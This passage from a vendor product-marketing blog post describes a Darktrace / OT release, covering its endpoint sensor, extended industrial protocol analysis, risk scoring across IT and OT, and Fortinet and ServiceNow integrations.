  1. Surface novel threats using Self-Learning AI that standalone Endpoint Detection and Response (EDR) would miss.
  1. Extend Cyber AI Analyst investigations through to the endpoint root cause.

NEXT is part of our existing cSensor endpoint agent, can be deployed standalone or alongside existing EDR tools, and allows capabilities to be enabled or disabled depending on factors such as security or OT team objectives and resource utilization.

Figure 2: Darktrace / OT delivers CVE patch priority insights by combining threat intelligence with extended network and endpoint telemetry

The family of Darktrace Endpoint sensors also receive a boost in deployment flexibility, with on-prem server-based setups, as well as a Windows driver tailored for zero-trust and high-security environments.

Protocol coverage has been extended where it matters most. Darktrace now performs protocol analysis of a wider range of GE and Mitsubishi protocols, giving operators real-time visibility into commands and state changes on Programmable Logic Controllers (PLCs), robots and controllers. Backed by Self-Learning AI, this inspection does more than parse traffic, it understands what normal looks like and flags deviations that signal risk.

Integrated risk and governance workflows

Security data is only valuable when it drives action. Darktrace / OT delivers risk insights that go beyond patching, helping teams take meaningful steps even when remediation isn't possible. Risk is assessed not just by CVE presence, but by how network segmentation, firewall policies, and attack path logic neutralize or contain real-world exposure. This approach empowers defenders to deprioritize low-impact vulnerabilities and focus effort where risk truly exists. Building on the foundation introduced in release 6.3, such as KEV enrichment, endpoint OS data, and exploit mapping, this release introduces new integrations that bring Darktrace / OT intelligence directly into governance workflows.

Fortinet FortiGate firewall ingestion feeds segmentation rules into attack path modeling, revealing real exposure when policies fail and closing feeds into patching prioritization based on a policy to CVE exposure assessment.

  • ServiceNow Configuration Management Database (CMDB) sync ensures asset intelligence stays current across governance platforms, eliminating manual inventory work.

Risk modeling has also been made more operationally relevant. Scores are now contextualized by exploitability, asset criticality, firewall policy, and segmentation posture. Patch recommendations are modeled in terms of safety, uptime and compliance rather than just Common Vulnerability Scoring System (CVSS) numbers. And importantly, risk is prioritized across the Purdue Model, giving defenders visibility into whether vulnerabilities remain isolated to IT or extend into OT-critical layers.

Figure 3: Attack Path Modeling based on NetFlow and network topology reveals high risk points of IT/OT convergence.

The real-world impact for defenders

In today’s environments, attackers move fluidly between IT and OT. Without unified visibility and shared context, incidents cascade faster than teams can respond.

With this release, Darktrace / OT changes that reality. The Operational Overview gives Engineers a dashboard they can use daily, tailored to their workflows. SOC analysts can seamlessly investigate telemetry across endpoints, sensors and protocols that were once blind spots. Operators gain transparency into PLCs and controllers. Governance teams benefit from automated integrations with platforms like Fortinet and ServiceNow. And all stakeholders work from risk models that reflect what truly matters: safety, uptime and compliance.

This release is not about creating more alerts. It is about providing more clarity. By unifying context across IT and OT, Darktrace / OT enables defenders to see more, understand more and act faster.

Because in environments where safety and uptime are non-negotiable, clarity is what matters most.

Join us for our live event where we will discuss these product innovations in greater detail

Continue reading
About the author
Pallavi Singh
Product Marketing Manager, OT Security & Compliance
Your data. Our AI.
Elevate your network security with Darktrace AI